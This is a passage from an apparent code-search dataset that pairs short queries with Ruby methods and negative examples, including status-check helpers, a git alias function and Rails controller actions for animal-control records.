"def should_process? \n #return false if it has been set to skip processing \n return false if self.persistence_checksum.eql?(\"skip\")\n\n #return true if there are different number of craft files than records of craft that are not marked as deleted\n craft_files = campaigns_instance.identify_craft_in(self.name)\n craft = self.craft.where(:deleted => false) #if craft.nil?\n return true if craft_files.map{|k,v| v}.flatten.size != craft.count\n\n #return true if the stored checksum for persistent.sfs does not match the one generated for the current persistent.sfs\n Dir.chdir(self.path)\n return true unless File.exists?(\"persistent.sfs\")\n checksum = Digest::SHA256.file(\"persistent.sfs\").hexdigest\n not checksum.eql?(self.persistence_checksum)\n end",
"def check_clean_status_task\n raise \"The current working copy contains modifications\" if `#{git} ls-files -m`.split(\"\\n\").any?\n end",
"def rsyncError?\n File.exists? @path+\"/\"+\"/\"+@lastImage+\"/rsync_error\"\n end",
"def valid_repair\n is_valid = true\n if done_change == [0, 1]\n if done_was > 0\n errors.add :done, :already_done\n is_valid = false\n # else\n # repair_tasks.each do |repair_task|\n # repair_task.repair_parts.each do |repair_part|\n # if repair_part.store.present?\n # if repair_part.store_item(repair_part.store).quantity < (repair_part.quantity + repair_part.defect_qty)\n # errors[:base] << I18n.t('device_tasks.errors.insufficient_spare_parts', name: repair_part.name)\n # is_valid = false\n # end\n # else\n # errors.add :base, :no_spare_parts_store\n # is_valid = false\n # end\n # end\n # if repair_task.repair_parts.sum(:defect_qty) > 0 and (Department.current.defect_sp_store.nil?)\n # errors.add :base, :no_defect_store\n # is_valid = false\n # end\n # end\n end\n end\n is_valid\n end",
"def rtaResultsCopied?(fcName)\n # File copied to FC directory when RTA results for fragment run are copied\n trigFileFragment = \"Basecalling_Netcopy_complete_SINGLEREAD.txt\"\n\n # File copied to FC directory when RTA results for paired run are copied\n trigFileRead1 = \"Basecalling_Netcopy_complete_READ1.txt\"\n trigFileRead2 = \"Basecalling_Netcopy_complete_READ2.txt\"\n\n # File copied to FC directory when RTA results for either read are copied\n trigFileBaseCopyDone = \"Basecalling_Netcopy_complete.txt\"\n\n baseCmd = \"ssh \" + @remoteUser + \" ls \" + @srcPath + \"/\" + fcName\n\n # Check if file Basecalling_Netcopy_complete.txt is present\n foundNetCopy = `#{baseCmd}/#{trigFileBaseCopyDone} 2>/dev/null`.split(\"\\n\").size == 1\n\n # Check if base calls results are copied for fragment run\n fragBCCopied = `#{baseCmd}/#{trigFileFragment} 2>/dev/null`.split(\"\\n\").size == 1\n\n if foundNetCopy && fragBCCopied\n return true\n end\n\n # Check if base calls results are copied for read 1 of paired run\n read1BCCopied = `#{baseCmd}/#{trigFileRead1} 2>/dev/null`.split(\"\\n\").size == 1 \n\n # Check if base calls results are copied for read 1 of paired run\n read2BCCopied = `#{baseCmd}/#{trigFileRead2} 2>/dev/null`.split(\"\\n\").size == 1 \n\n if foundNetCopy && read1BCCopied && read2BCCopied\n return true\n else\n return false\n end\n end",
"def can_delete_safely?\n if self.parsing?\n false\n else\n case self.file_type\n when 'Metadata'\n !self.study.cluster_groups.where(is_subsampling: true).any?\n when 'Cluster'\n cluster = ClusterGroup.find_by(study_file_id: self.id)\n cluster.present? && !cluster.is_subsampling?\n else\n true\n end\n end\n end",
"def valid?\n File.exists?(path) and File.mtime(path) - Time.now < 30*60\n end",
"def file_uploaded_during_right_time?\n return false if uploaded_files.blank?\n\n # The STATE_ constants below are defined by the AASM gem based on the states defined\n case membership_status\n when STATE_CURRENT_MEMBER\n file_uploaded_during_this_membership_term?\n when STATE_IN_GRACE_PERIOD, STATE_FORMER_MEMBER\n file_uploaded_on_or_after?(membership_last_day + 1.day)\n when STATE_NOT_A_MEMBER\n !uploaded_files.blank?\n else\n false\n end\n end",
"def check_status\n \t# @files_hash contains key as files to be watched and value as true.\n \t@events_captured.each do |event|\n \t\tif @files_hash[event.to_s] && ( !File.exists?(event.to_s) || @last_mtime < File.mtime(event.to_s))\n \t\t\t@modified = true\n \t\t\tstop_file_notifier\n \t\t\t@events_captured = []\n \t\t\tbreak\n \t\tend\n \tend\n end",
"def is_valid_for_execution\n (@metadata[\"short_dest_repo_name\"] == \"osrf/gazebo\" and @pr_status == :update) ? false : true\n end",
"def verify_clean_workspace\n is_clean = true\n file_lines = @git_repo.status\n unless file_lines.empty?\n puts \"Workspace #{@git_repo.repository} is not clean:\"\n files = file_lines.collect do |line|\n line =~ /^...(\\S+)/\n $1\n end\n files.sort.uniq.each do |line|\n puts \"\\t#{line}\"\n end\n @build_status = 'dirty'\n is_clean = false\n end\n is_clean\n end",
"def guardfile_contents_usable?\n guardfile_contents && guardfile_contents.size >= 'guard :a'.size # Smallest Guard definition\n end",
"def rerunNeeded? ( timestampFilePath , rerunEach )\n\n isNeeded = true\n\n # Checking if timestamp file already exists\n if (File.exist?(timestampFilePath))\n timestampFile = File.new(timestampFilePath, \"r\")\n firstLine = timestampFile.gets\n previousTimestamp = firstLine.nil? ? 0 : firstLine.to_i\n isNeeded = (Time.now.to_i - previousTimestamp) > rerunEach\n end\n\n if (isNeeded)\n FileUtils.mkdir_p(File.dirname(timestampFilePath))\n timestampFile = File.new( timestampFilePath , \"w\" )\n timestampFile.write(Time.now.to_i.to_s+\"\\n\")\n timestampFile.close\n end\n \n return isNeeded\n\n end",
"def check_if_completeable\n if !self.new_record? and self.completed?\n chld = Matter.find_all_by_parent_id(self.id)\n chld_not_cmplt = false\n chld.collect{|c| chld_not_cmplt = true if !c.completed? } unless chld.blank?\n if self.any_child_open?\n self.errors.add_to_base(\"This matter has linked child matter(s) that are still open. Please close the same first.\")\n elsif self.open_todos.size > 0\n self.errors.add_to_base(\"Could not complete the matter: there are some incomplete tasks in the matter.\")\n elsif chld_not_cmplt\n self.errors.add_to_base('This matter has linked child matter(s) that are still open. Please close the same first.' )\n end\n end\n end",
"def test_succeeds?\n info \"Performing test backup... (this file)\"\n do_backup \"#{rsync} #{args} \\'#{class_name}\\' \\'#{backup_dest}\\'\", false\n destination = File.join(backup_dest, File.basename(class_name))\n File.stat(destination).size == File.stat(class_name).size and\n File.stat(destination).mtime > (Time.now - 3)\n end",
"def stuck_chunks?\n return false if chunks.incomplete.empty? #if all the chunks are complete, we can't have stuck ones\n chunk = chunks.complete.first(:order => 'finished_at DESC')\n if chunk\n chunk.finished_at < 1200.seconds.ago.to_f\n else\n false\n end\n end",
"def roll_required?\n return false if ::File.exist?(@fn_copy) and (Time.now - ::File.mtime(@fn_copy)) < 180\n\n # check if max size has been exceeded\n s = @size ? ::File.size(@fn) > @size : false\n\n # check if max age has been exceeded\n a = sufficiently_aged?\n\n return (s || a)\n end",
"def verify_backup\n File.size(filepath) > minimum_backup_size\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Returns wheter the neuron is self connected
|
def selfconnected?
!selfconnection.weight.zero?
end
|
[
"def selfconnected?\n list.all?(&:selfconnected?)\n end",
"def connected?\n @neighbors.count.nonzero?\n end",
"def connected?\n MSPhysics::Newton::Joint.is_connected?(@address)\n end",
"def connected?\n state == :CONNECTED\n end",
"def connected\n\t\treturn @connected\n\tend",
"def connected\n return @connected\n end",
"def is_connected?\n return @status == CONNECTED\n end",
"def is_connected?\n return @status == CONNECTED\n end",
"def connected?(node)\n @connected.include?(node)\n end",
"def connected?\n !connections.empty?\n end",
"def is_connected\n res = Nfc.tech_is_connected(@techname)\n resb = false\n if res != 0\n resb = true\n end \n return resb\n end",
"def isConnected to\n\t\treturn @connections[to.name] != nil\n\tend",
"def connected?\n !!@session_id && !!@cluster\n end",
"def alone?\n @neighbors.count.zero?\n end",
"def connecting?\n @state == ZOO_CONNECTING_STATE\n end",
"def connected?\n\n\t @wordnet_connection.connected?\n\n\tend",
"def output_connected?\n !@out_gates.empty?\n end",
"def connected?\n particle.connected?\n end",
"def orphan?\n not connected?\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Takes configuration and an arg that is expected to be key=value format. If c is empty, creates one and returns it
|
def add_to_configuration(c, arg)
kv = arg.split('=')
kv.length == 2 || (raise "Expected parameter #{kv} in key=value format")
c = org.apache.hadoop.hbase.HBaseConfiguration.create if c.nil?
c.set(kv[0], kv[1])
c
end
|
[
"def hash_arg_to_config(hash_arg, klass)\n case hash_arg\n when Hash \n klass.new(hash_arg)\n when NilClass \n klass.new\n else \n # this assumes it already is an element of klass, or acts like one,\n # if not something bad will happen later, that's your problem. \n hash_arg\n end\n end",
"def config_from_arg(arg=nil)\n if arg\n path = File.expand_path(arg)\n return unless File.exists?(path) && File.file?(path)\n Config.file(path)\n else\n Config.file\n end #if option\n end",
"def cat_builder(name_str, color_str, age_num)\n\tcat_hash = {\n \t\"name\" => name_str,\n \"color\" => color_str,\n \"age\" => age_num\n }\n return cat_hash\nend",
"def cat_builder(name_str, color_str, age_num)\n hash = { \"name\" => name_str, \"color\" => color_str, \"age\" => age_num }\n return hash\nend",
"def cat_builder(name_str, color_str, age_num)\n cat = {\"name\" =>name_str, \"color\"=>color_str, \"age\"=>age_num}\n return cat\nend",
"def cat_builder(name_str, color_str, age_num)\n return {\"name\" => name_str, \"color\" => color_str, \"age\" => age_num}\nend",
"def generate_settings(cmdline, configuration)\n loaded = YAML::load(configuration)\n\n if loaded[:properties].nil?\n loaded[:properties] = {}\n end\n\n unless cmdline['--pattern'].nil? \n loaded[:vcs][:release_regex] = input['--pattern']\n end\n\n #User name override\n if cmdline['-c']\n (0..cmdline['-c']-1).each do |it|\n u = cmdline['<user>'][it]\n p = cmdline['<password>'][it]\n t = cmdline['<target>'][it]\n loaded[:task_systems].each do |ts|\n if ts[:name] == t\n ts[:usr] = u\n ts[:pw] = p\n end\n end\n end\n end\n \n unless cmdline['--properties'].nil? \n json_value = JSON.parse(cmdline['--properties'])\n loaded[:properties] = loaded[:properties].merge(json_value)\n end\n loaded[:verbosity] = Logging.calc_verbosity(cmdline)\n loaded \n end",
"def load_conf(klass,args,single = false)\n if single\n klass.new(args)\n else\n Hash[*args.map do |key,val|\n [key,klass.new(val)]\n end.flatten]\n end\nend",
"def set_por_hash(arg)\n # atualiza o valor se o existe o atributo no dicionario.\n @a = arg[:a] if not arg[:a].nil?\n @b = arg[:b] if not arg[:b].nil?\n @c = arg[:c] if not arg[:c].nil?\n end",
"def cat_builder(name, color, age)\n cat = {'name' => name, color: color, age: age}\nend",
"def my_hash_creator(key, value)\n {key => value}\nend",
"def createKV(key,value,args={})\n url_params = []\n if args.key?(:acquire) && ! args[:acquire].nil?\n session_name = args[:acquire]\n node = args[:node]\n session_id = getSessionID({:name => session_name, :node => node})\n url_params << 'acquire=' + session_id\n end\n\n if args.key?(:release) && ! args[:release].nil?\n session_name = args[:release]\n node = args[:node]\n session_id = getSessionID({:name => session_name,:node => node})\n url_params << 'release=' + session_id\n end\n\n url_params << \"flags=#{args[:flags]}\" if args.key?(:flags) && ! args[:flags].nil?\n\n url_params << \"cas=#{args[:cas]}\" if args.key?(:cas) && ! args[:cas].nil?\n if url_params.empty?\n Jiocloud::Utils.put(kvurl + '/' + key,value)\n else\n Jiocloud::Utils.put(kvurl + '/' + key + '?' + url_params.join('&'),value)\n end\n end",
"def create_config\n\t\t\t\texplanations \n\t\t\t\t\t# asks the user for the keys\n\t\t\t\tget_config\n\t\t\t\twrite_config\n\t\t\tend",
"def cli_args!(args)\n ChefBackup::Config.config = args\nend",
"def computed_config=(_arg0); end",
"def set_arg(namespace, key, value); end",
"def my_hash_creator(key, value)\n # return a hash that includes the key and value parameters passed into this method\n {key => value}\nend",
"def make_creds *args\n creds = new(*args)\n creds = creds.configure_connection args[0] if creds.respond_to?(:configure_connection) && args.size == 1\n creds\n end",
"def rbMakeHashForKeyValuePair(templArgs)\n \n propCounter = 1\n\n templArgs.length.times do |index| \n \n defaults = \"\"\n tempDefaultMatch = \"\"\n tempCheckForRunTimeVal = \"\" \n tempDefaultMatch = templArgs[index].scan(/\\{\\{[\\w.\\=\\%\\:\\/\\s\\#\\@\\-\\']*\\}\\}/)\n\n if tempDefaultMatch[0]\n defaults = tempDefaultMatch[0]\n defaults = defaults[3..-3]\n defaults = defaults.gsub(/'/, \"\\\\\\\\\\'\") \n\n end \n\n templArgs[index]= templArgs[index].gsub(/\\{\\{[\\w.\\=\\%\\:\\/\\s\\#\\@\\-\\']*\\}\\}/, \"\") \n\n \n\n templArgs[index] = templArgs[index].delete(\"{{\")\n templArgs[index]= templArgs[index].delete(\"}}\")\n\n if index!= (templArgs.length-1)\n templArgs[index] = \"\\n \\t \\t \\t \\t \\t \\t \" + \"'\" + \"#{propCounter}\" + \"'\"+ \" : \" + \"{\" +\"\\n\\t \\t \\t \\t \\t \\t\\t\\t\\t\" + 'key :' + \"'\" + templArgs[index] + \"'\" + \",\" + \"\\n\\t \\t \\t \\t \\t \\t\\t\\t\\t\" + 'value :' +\"'#{defaults}'\" + \"\\n\\t \\t \\t \\t \\t \\t \" + \" },\" \n propCounter = propCounter + 1\n elsif index == (templArgs.length-1)\n \n templArgs[index] = \"\\n \\t \\t \\t \\t \\t \\t \" + \"'\" + \"#{propCounter}\"+ \"'\"+\" :\" + \"{\" +\"\\n\\t \\t \\t \\t \\t \\t\\t\\t\\t\" + 'key :' + \"'\" + templArgs[index] + \"'\" + \",\" + \"\\n\\t \\t \\t \\t \\t \\t\\t\\t\\t\" + 'value :' +\"'#{defaults}'\" + \"\\n\\t \\t \\t \\t \\t \\t \" + \" }\"\n propCounter = propCounter + 1\n end \n\n end\n\n templArgs= templArgs.to_s\n\n templArgs = \"{\\n\" + templArgs + \"\\n\\t \\t \\t \\t \\t },\\n\"\n \n templArgs = \"\\t \\t \"+ $templPropName + \":\" + templArgs\n \n return templArgs \nend"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Usage: git alias The second parameter is optional, if so, it will show the current value of the alias.
|
def git_alias(args)
# check if the alias exists right now
system("git config --global alias.#{args[0]} #{args[1]}")
end
|
[
"def git_alias(name,action)\n system 'git', 'config', '--global', '--replace-all', \"alias.#{name}\", action\n end",
"def aliases\n\t\t\twith_dir do\n\t\t\t\t%x/git config --get-regexp 'alias.*'/.each_line.map do |l|\n\t\t\t\t\tputs l.sub(/^alias\\./,\"\").sub(/ /,\" = \")\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def alias_tag\n self.alias_id && self.alias ? self.alias.name : \"\"\n end",
"def alias?\n !@repo.complex_alias? && @repo.alias? && !rootfs?\n end",
"def alias_\n @alias_\n end",
"def alias(a)\n Registry.alias_command(self, a)\n end",
"def install_ohmyzsh_aliases\n @zshrc_path = File.expand_path(\"~/.zshrc\")\n @aliases = [\"gg='git status'\"]\n @aliases.each do |entry|\n `echo 'alias #{entry}' >> #{@zshrc_path}`\n end\nend",
"def get_branch_alias(config)\n if config.key?('version') && (config['version'].start_with?('dev-') || config['version'].end_with?('-dev'))\n if config.key?('extra') && config['extra'].key?('branch-alias') && config['extra']['branch-alias'].is_a?(Hash)\n config['extra']['branch-alias'].each do |source_branch, target_branch|\n # ensure it is an alias to a -dev package\n next unless target_branch.end_with?('-dev')\n\n # normalize without -dev and ensure it's a numeric branch that is parseable\n validated_target_branch = @version_parser.normalize_branch(target_branch[0..-5])\n next unless validated_target_branch.end_with?('-dev')\n\n # ensure that it is the current branch aliasing itself\n next if config['version'].downcase != source_branch.downcase\n\n # If using numeric aliases ensure the alias is a valid subversion\n source_prefix = @version_parser.parse_numeric_alias_prefix(source_branch)\n target_prefix = @version_parser.parse_numeric_alias_prefix(target_branch)\n next if source_prefix && target_prefix && target_prefix.index(source_prefix) != 0 #(stripos($targetPrefix, sourcePrefix) !== 0)\n\n return validated_target_branch\n end\n end\n end\n nil\n end",
"def name_alias(arg=nil)\n\t\t\t\tset_or_return(:name_alias, arg, :kind_of => String)\n\t\t\tend",
"def expand_short_github_url(input)\n \"git@github.com:#{input}.git\"\n end",
"def detect_alias\n cmd = ARG0.split(\"/\").last\n\n # ignore the common ones straight away\n return if cmd == \"rbx\" or cmd == \"ruby\"\n\n # Check if we are aliased to a Rubinius subcommand.\n if subcommand = find_subcommand(cmd)\n ARGV.unshift subcommand\n return\n end\n\n # Check if we are aliased to a rubygems executable.\n if gem_wrapper = find_gem_wrapper(cmd)\n ARGV.unshift \"-S\", gem_wrapper\n end\n end",
"def checkalias (opts)\n default_options = {\n :alias => ''\n }\n\n opts.reverse_merge! default_options\n post 'checkalias', opts\n end",
"def formatted_alias_or_alias_with_host\n alias_with_host.nil? ? VirtualHearing.formatted_alias(alias_name) : alias_with_host\n end",
"def alias(a)\n Registry.alias_option(self, a)\n end",
"def SetRepoUrlAlias(url, _alias, name)\n if url == nil || url == \"\"\n Builtins.y2error(\"Invalid 'url' parameter: %1\", url)\n return url\n end\n\n # set repository alias to product name or alias if specified\n if name != nil && name != \"\" || _alias != nil && _alias != \"\"\n url_p = URL.Parse(url)\n params = URL.MakeMapFromParams(Ops.get_string(url_p, \"query\", \"\"))\n new_alias = \"\"\n\n if _alias != nil && _alias != \"\"\n new_alias = _alias\n Builtins.y2milestone(\"Using repository alias: '%1'\", new_alias)\n else\n # no alias present in the URL, use the product name\n if Ops.get(params, \"alias\", \"\") != \"\"\n new_alias = name\n Builtins.y2milestone(\n \"Using product name '%1' as repository alias\",\n new_alias\n )\n else\n Builtins.y2milestone(\n \"Keeping the original alias set in the URL: %1\",\n Ops.get(params, \"alias\", \"\")\n )\n return url\n end\n end\n\n Ops.set(params, \"alias\", new_alias)\n Ops.set(url_p, \"query\", URL.MakeParamsFromMap(params))\n url = URL.Build(url_p)\n end\n\n url\n end",
"def alias anchor\n raise \"Unexpected alias #{anchor}\"\n end",
"def print_alias(*) end",
"def is_alias?; end",
"def alias_=(value)\n @alias_ = value\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
POST /animalcontrols POST /animalcontrols.json
|
def create
@animalcontrol = Animalcontrol.new(animalcontrol_params)
respond_to do |format|
if @animalcontrol.save
format.html { redirect_to @animalcontrol, notice: 'Animal Control Call-Out was successfully created.' }
format.json { render :show, status: :created, location: @animalcontrol }
else
format.html { render :new }
format.json { render json: @animalcontrol.errors, status: :unprocessable_entity }
end
end
end
|
[
"def create\n @animal_owner = AnimalOwner.new(params[:animal_owner])\n\n respond_to do |format|\n if @animal_owner.save\n format.html { redirect_to @animal_owner, notice: 'Animal owner was successfully created.' }\n format.json { render json: @animal_owner, status: :created, location: @animal_owner }\n else\n format.html { render action: \"new\" }\n format.json { render json: @animal_owner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n animal = Animal.new(animal_params)\n if !animal.name.nil?\n animal.save\n render json: animal, status: 201, location: [:api, animal]\n else\n render json: { errors: animal.errors }, status: 422\n end\n end",
"def create\n animal = Animal.new(animal_params)\n if animal.save\n render json: animal, status: :created\n else\n render json: {}, status: :bad_request\n end\n end",
"def create\n @animal_type = AnimalType.new(animal_type_params)\n\n respond_to do |format|\n if @animal_type.save\n format.html { redirect_to @animal_type, notice: 'Animal type was successfully created.' }\n format.json { render :show, status: :created, location: @animal_type }\n else\n format.html { render :new }\n format.json { render json: @animal_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pregnancy_control = PregnancyControl.new(pregnancy_control_params)\n\n respond_to do |format|\n if @pregnancy_control.save\n format.html { redirect_to @pregnancy_control, notice: \"Pregnancy control was successfully created.\" }\n format.json { render :show, status: :created, location: @pregnancy_control }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @pregnancy_control.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @animalcontrol.update(animalcontrol_params)\n format.html { redirect_to @animalcontrol, notice: 'Animal Control Call-Out was successfully updated.' }\n format.json { render :show, status: :ok, location: @animalcontrol }\n else\n format.html { render :edit }\n format.json { render json: @animalcontrol.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @control = @device.controls.new(control_params)\n\n respond_to do |format|\n if @control.save\n format.html { redirect_to [@device,@control], notice: 'Control was successfully created.' }\n format.json { render action: 'show', status: :created, location: @control }\n else\n format.html { render action: 'new' }\n format.json { render json: @control.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @animalcat = Animalcat.new(animalcat_params)\n\n respond_to do |format|\n if @animalcat.save\n format.html { redirect_to @animalcat, notice: 'Animalcat was successfully created.' }\n format.json { render :show, status: :created, location: @animalcat }\n else\n format.html { render :new }\n format.json { render json: @animalcat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @register_animal_type = Register::AnimalType.new(register_animal_type_params)\n\n respond_to do |format|\n if @register_animal_type.save\n format.html { redirect_to register_animal_types_path, success: 'O tipo de animal foi criado com sucesso.' }\n format.json { render :index, status: :created, location: @register_animal_type }\n else\n format.html { render :new }\n format.json { render json: @register_animal_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @container = Container.new(params[:container])\n\n @container.tenant_id = params[:tenant_id]\n @container.body = JSON.dump(params)\n \n respond_to do |format|\n if @container.save\n create_from_JSON(@container)\n format.html { render :file => \"containers/show.json.erb\" }\n format.json { render :json => @container }\n else\n format.html { render :json => @container.errors, :status => :unprocessable_entity }\n format.json { render :json => @container.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @seen_animal = SeenAnimal.new(seen_animal_params)\n\n respond_to do |format|\n if @seen_animal.save\n format.html { redirect_to @seen_animal, notice: 'Seen animal was successfully created.' }\n format.json { render :show, status: :created, location: @seen_animal }\n else\n format.html { render :new }\n format.json { render json: @seen_animal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @animals = Animal.all\n @animal = Animal.create(animal_params)\n\n end",
"def create\n @subcontrol = Subcontrol.new(params[:subcontrol])\n\n respond_to do |format|\n if @subcontrol.save\n format.html { redirect_to @subcontrol, :notice => 'Subcontrol was successfully created.' }\n format.json { render :json => @subcontrol, :status => :created, :location => @subcontrol }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @subcontrol.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user_animal = UserAnimal.new(user_animal_params)\n\n respond_to do |format|\n if @user_animal.save\n format.html { redirect_to @user_animal, notice: 'User animal was successfully created.' }\n format.json { render action: 'show', status: :created, location: @user_animal }\n else\n format.html { render action: 'new' }\n format.json { render json: @user_animal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @profile = Profile.find(params[:profile_id])\n authorize! :create, @profile\n respond_to do |format|\n begin\n @control = @profile.controls.new(control_params)\n @profile.save\n format.html { redirect_to @profile, notice: 'Control was successfully created.' }\n format.json { render :show, status: :created, location: @control }\n rescue Mongoid::Errors::InvalidValue\n format.html { redirect_to @profile, error: 'Control was not successfully created.' }\n format.json { render json: @control.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @animal_enclosure = AnimalEnclosure.new(animal_enclosure_params)\n\n respond_to do |format|\n if @animal_enclosure.save\n format.html { redirect_to @animal_enclosure, notice: 'Animal enclosure was successfully created.' }\n format.json { render :show, status: :created, location: @animal_enclosure }\n else\n format.html { render :new }\n format.json { render json: @animal_enclosure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @therapy = Therapy.new(therapy_params)\n category = TherapyCategory.create(name: @therapy.name)\n category.therapies << @therapy\n\n respond_to do |format|\n if @therapy.save\n format.html { redirect_to @therapy }\n format.json { render :show, status: :created, location: @therapy }\n else\n format.html { render :new }\n format.json { render json: @therapy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @baby_animal = BabyAnimal.new(baby_animal_params)\n\n respond_to do |format|\n if @baby_animal.save\n format.html { redirect_to @baby_animal, notice: 'Baby animal was successfully created.' }\n format.json { render action: 'show', status: :created, location: @baby_animal }\n else\n format.html { render action: 'new' }\n format.json { render json: @baby_animal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @animal = Animal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @animal }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
PATCH/PUT /animalcontrols/1 PATCH/PUT /animalcontrols/1.json
|
def update
respond_to do |format|
if @animalcontrol.update(animalcontrol_params)
format.html { redirect_to @animalcontrol, notice: 'Animal Control Call-Out was successfully updated.' }
format.json { render :show, status: :ok, location: @animalcontrol }
else
format.html { render :edit }
format.json { render json: @animalcontrol.errors, status: :unprocessable_entity }
end
end
end
|
[
"def update\n \n if @animal.update(animal_params)\n render json: @animal\n else\n render json: {}, status: :bad_request \n end\n end",
"def update\n animal = Animal.find(params[:id])\n\n if validate_params(animal_params)\n animal.update(animal_params)\n render json: animal, status: 200, location: [:api, animal]\n else\n render json: { errors: animal.errors }, status: 422\n end\n end",
"def update\n respond_to do |format|\n if @animal.update(animal_params)\n format.json { render json: @animal, status: :ok}\n else\n format.json { render json: @animal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @animal_owner = AnimalOwner.find(params[:id])\n\n respond_to do |format|\n if @animal_owner.update_attributes(params[:animal_owner])\n format.html { redirect_to @animal_owner, notice: 'Animal owner was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @animal_owner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @adocao_animal = AdocaoAnimal.find(params[:id])\n\n respond_to do |format|\n if @adocao_animal.update_attributes(params[:adocao_animal])\n format.html { redirect_to @adocao_animal, notice: 'Adocao animal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @adocao_animal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n spice = Spice.find_by(id: params[:id])\n spice.update(spice_params)\n render json: spice\nend",
"def update\n @api_v1_post_flag = PostFlag.find(params[:id])\n\n respond_to do |format|\n if @api_v1_post_flag.update_attributes(params[:api_v1_post_flag])\n format.html { redirect_to @api_v1_post_flag, notice: 'Post flag was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_v1_post_flag.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch *args\n make_request :patch, *args\n end",
"def update\n respond_to do |format|\n if @mosaic.update(mosaic_params)\n format.html { redirect_to @mosaic, notice: 'Mosaic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mosaic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put\n request_method('PUT')\n end",
"def update\n @pet = Pet.find(params[:id])\n if @pet.update(pet_params)\n render json: @pet\n else\n render json: @pet.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @animal_type.update(animal_type_params)\n format.html { redirect_to @animal_type, notice: 'Animal type was successfully updated.' }\n format.json { render :show, status: :ok, location: @animal_type }\n else\n format.html { render :edit }\n format.json { render json: @animal_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @type_animal.update(type_animal_params)\n format.html { redirect_to @type_animal, notice: 'Type animal was successfully updated.' }\n format.json { render :show, status: :ok, location: @type_animal }\n else\n format.html { render :edit }\n format.json { render json: @type_animal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @container = Container.find(params[:id])\n\n # Destroy everything in the container but not the container itself \n @container.routers.each do |router|\n router.destroy()\n end\n @container.networks.each do |network|\n network.destroy()\n end\n @container.vms.each do |vm|\n vm.destroy()\n end\n @container.embedded_containers.each do |container|\n container.destroy()\n end\n\n # Save the JSON representation of the new state\n @container.body = JSON.dump(params)\n \n respond_to do |format|\n if @container.save\n create_from_JSON(@container)\n format.html { render :file => \"containers/show.json.erb\" }\n format.json { render :json => @container }\n else\n format.html { render :json => @container.errors, :status => :unprocessable_entity }\n format.json { render :json => @container.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @monkey.update(monkey_params)\n # format.html { redirect_to @monkey, notice: 'Api monkey was successfully updated.' }\n format.json { render :show, status: :ok, location: @monkey }\n else\n # format.html { render :edit }\n format.json { render json: @monkey.errors, status: :unprocessable_entity }\n end\n \n end\n \n # DELETE /monkeys/1\n # DELETE /monkeys/1.json\n def destroy\n @monkey.destroy\n respond_to do |format|\n format.html { redirect_to monkeys_url, notice: 'Account successfully deleted.' }\n format.json { head :no_content }\n end\n end\n \n private\n # Use callbacks to share common setup or constraints between actions.\n def set_monkey\n @monkey = Monkey.find(params[:id])\n end\n \n # Never trust parameters from the scary internet, only allow the white list through.\n def monkey_params\n params.permit(:name, :type, :size, :socialOrder, :image, :species)\n end\n end",
"def update\n respond_to do |format|\n if @api_monkey.update(api_monkey_params)\n # format.html { redirect_to @api_monkey, notice: 'Api monkey was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_monkey }\n else\n # format.html { render :edit }\n format.json { render json: @api_monkey.errors, status: :unprocessable_entity }\n end\n\n end\n\n # DELETE /api_monkeys/1\n # DELETE /api_monkeys/1.json\n def destroy\n @api_monkey.destroy\n respond_to do |format|\n format.html { redirect_to api_monkeys_url, notice: 'Api monkey was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n\n private\n # Use callbacks to share common setup or constraints between actions.\n def set_api_monkey\n @api_monkey = ApiMonkey.find(params[:id])\n end\n\n # Never trust parameters from the scary internet, only allow the white list through.\n def api_monkey_params\n params.permit(:name, :height, :weight, :locations_of_origin,\n :diet, :description, :social_order, :lifespan, :seeded?, :image1, :image2,\n :genus, :sub_family)\n end\nend",
